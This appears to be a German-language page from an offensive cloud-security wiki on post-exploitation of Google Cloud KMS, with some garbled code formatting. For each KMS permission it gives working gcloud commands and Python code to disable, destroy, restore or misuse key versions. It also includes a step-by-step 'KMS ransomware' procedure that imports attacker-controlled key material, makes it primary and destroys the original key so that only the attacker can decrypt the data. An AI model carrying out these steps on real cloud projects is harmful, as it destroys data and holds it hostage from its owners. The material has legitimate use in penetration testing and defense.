10 KiB
GCP - KMS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
KMS
Grundlegende Informationen zu KMS finden Sie in:
{{#ref}} ../gcp-services/gcp-kms-enum.md {{#endref}}
cloudkms.cryptoKeyVersions.destroy
Ein Angreifer mit dieser Berechtigung könnte eine KMS-Version zerstören. Dazu müssen Sie zuerst den Schlüssel deaktivieren und ihn dann zerstören:
Schlüsselversion deaktivieren und zerstören (Python)
```python # pip install google-cloud-kmsfrom google.cloud import kms
def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): """ Disables a key version in Cloud KMS. """
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})
def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): """ Destroys a key version in Cloud KMS. """
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})
Example usage
project_id = 'your-project-id' location_id = 'your-location' key_ring_id = 'your-key-ring' key_id = 'your-key-id' key_version = '1' # Version number to disable and destroy
Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
</details>
### KMS Ransomware
In AWS ist es möglich, vollständig **steal a KMS key** zu erreichen, indem man die KMS resource policy ändert und nur dem attackers account erlaubt, den Schlüssel zu verwenden. Da diese resource policies in GCP nicht existieren, ist das nicht möglich.
Es gibt jedoch eine andere Möglichkeit, globales KMS Ransomware durchzuführen, die die folgenden Schritte umfassen würde:
- Erstelle eine neue **version of the key with a key material** imported by the attacker
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
- Setze es als Standardversion (für zukünftige zu verschlüsselnde Daten)
- Ältere Daten mit der neuen Version neu verschlüsseln
- Den KMS-Schlüssel löschen
- Nun könnte nur noch der Angreifer, der das ursprüngliche Schlüsselmaterial besitzt, in der Lage sein, die verschlüsselten Daten zu entschlüsseln
Cloud Storage + CMEK Berechtigungsmodell
Wenn Objekte in Cloud Storage mit CMEK verschlüsselt sind, werden die Decrypt/Encrypt-Aufrufe an KMS vom Projekt-Cloud Storage service agent whose email is service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com) ausgeführt, nicht direkt vom Endbenutzer, der das Objekt liest.
Das bedeutet, dass man, um etwas zu lesen, das mit CMEK verschlüsselt wurde:
- Der cloud storage service agent des Projekts muss KMS-Berechtigungen für den verwendeten KMS-Schlüssel haben (typischerweise
roles/cloudkms.cryptoKeyEncrypterDecrypter). - Der Benutzer benötigt nur Objekt-Lese-Berechtigungen (z. B.
storage.objects.get). Er benötigt keine Berechtigungen für den KMS-Schlüssel.
Das bedeutet, dass zur Kontrolle des Zugriffs auf verschlüsselte Daten mit dem KMS-Schlüssel KMS-Berechtigungen für den cloud storage service agent des Projekts hinzugefügt/entfernt werden müssen.
Beachte, dass eine projektweite Bindung wie roles/cloudkms.cryptoKeyEncrypterDecrypter für den Storage service agent weiterhin das Entschlüsseln mit Schlüsseln im selben Projekt ermöglicht.
Hier sind die Schritte, um eine neue Version zu importieren und ältere Daten zu deaktivieren/löschen:
Neue Schlüsselversion importieren und alte Version löschen
```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.encDecrypt it
gcloud kms decrypt
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key
--ciphertext-file my-encrypted-file.enc
--plaintext-file -
Create an Import Job
gcloud kms import-jobs create my-import-job
--location us-central1
--keyring kms-lab-2-keyring
--import-method "rsa-oaep-3072-sha1-aes-256"
--protection-level "software"
Generate key material
openssl rand -out my-key-material.bin 32
Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import
--import-job my-import-job
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key
--algorithm "google-symmetric-encryption"
--target-key-file my-key-material.bin
Get versions
gcloud kms keys versions list
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key
Make new version primary
gcloud kms keys update
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key
--primary-version 2
Try to decrypt again (error)
gcloud kms decrypt
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key
--ciphertext-file my-encrypted-file.enc
--plaintext-file -
Disable initial version
gcloud kms keys versions disable
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key 1
Destroy the old version
gcloud kms keys versions destroy
--location us-central1
--keyring kms-lab-2-keyring
--key kms-lab-2-key
--version 1
</details>
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
<details>
<summary>Daten mit symmetrischem Schlüssel verschlüsseln (Python)</summary>
```python
from google.cloud import kms
import base64
def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')
# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext
# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)
# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
cloudkms.cryptoKeyVersions.useToSign
Nachricht mit asymmetrischem Schlüssel signieren (Python)
```python import hashlib from google.cloud import kmsdef sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): """ Sign a message using an asymmetric key version from Cloud KMS. """
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8') digest = {'sha256': hashlib.sha256(message_bytes).digest()}
Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature
Example usage for signing
project_id = 'your-project-id' location_id = 'your-location' key_ring_id = 'your-key-ring' key_id = 'your-key-id' key_version = '1' message = 'your-message'
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print('Signature:', signature)
</details>
### `cloudkms.cryptoKeyVersions.useToVerify`
<details>
<summary>Signatur mit asymmetrischem Schlüssel verifizieren (Python)</summary>
```python
from google.cloud import kms
import hashlib
def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success
# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
cloudkms.cryptoKeyVersions.restore
Die cloudkms.cryptoKeyVersions.restore-Berechtigung erlaubt einer Identität, eine Schlüsselversion wiederherzustellen, die zuvor zur Zerstörung geplant oder in Cloud KMS deaktiviert wurde, und sie in einen aktiven und nutzbaren Zustand zurückzuversetzen.
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
cloudkms.cryptoKeyVersions.update
Die cloudkms.cryptoKeyVersions.update-Berechtigung erlaubt einer Identität, die Attribute oder den Zustand einer bestimmten Schlüsselversion in Cloud KMS zu ändern, z. B. durch Aktivieren oder Deaktivieren.
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
{{#include ../../../banners/hacktricks-training.md}}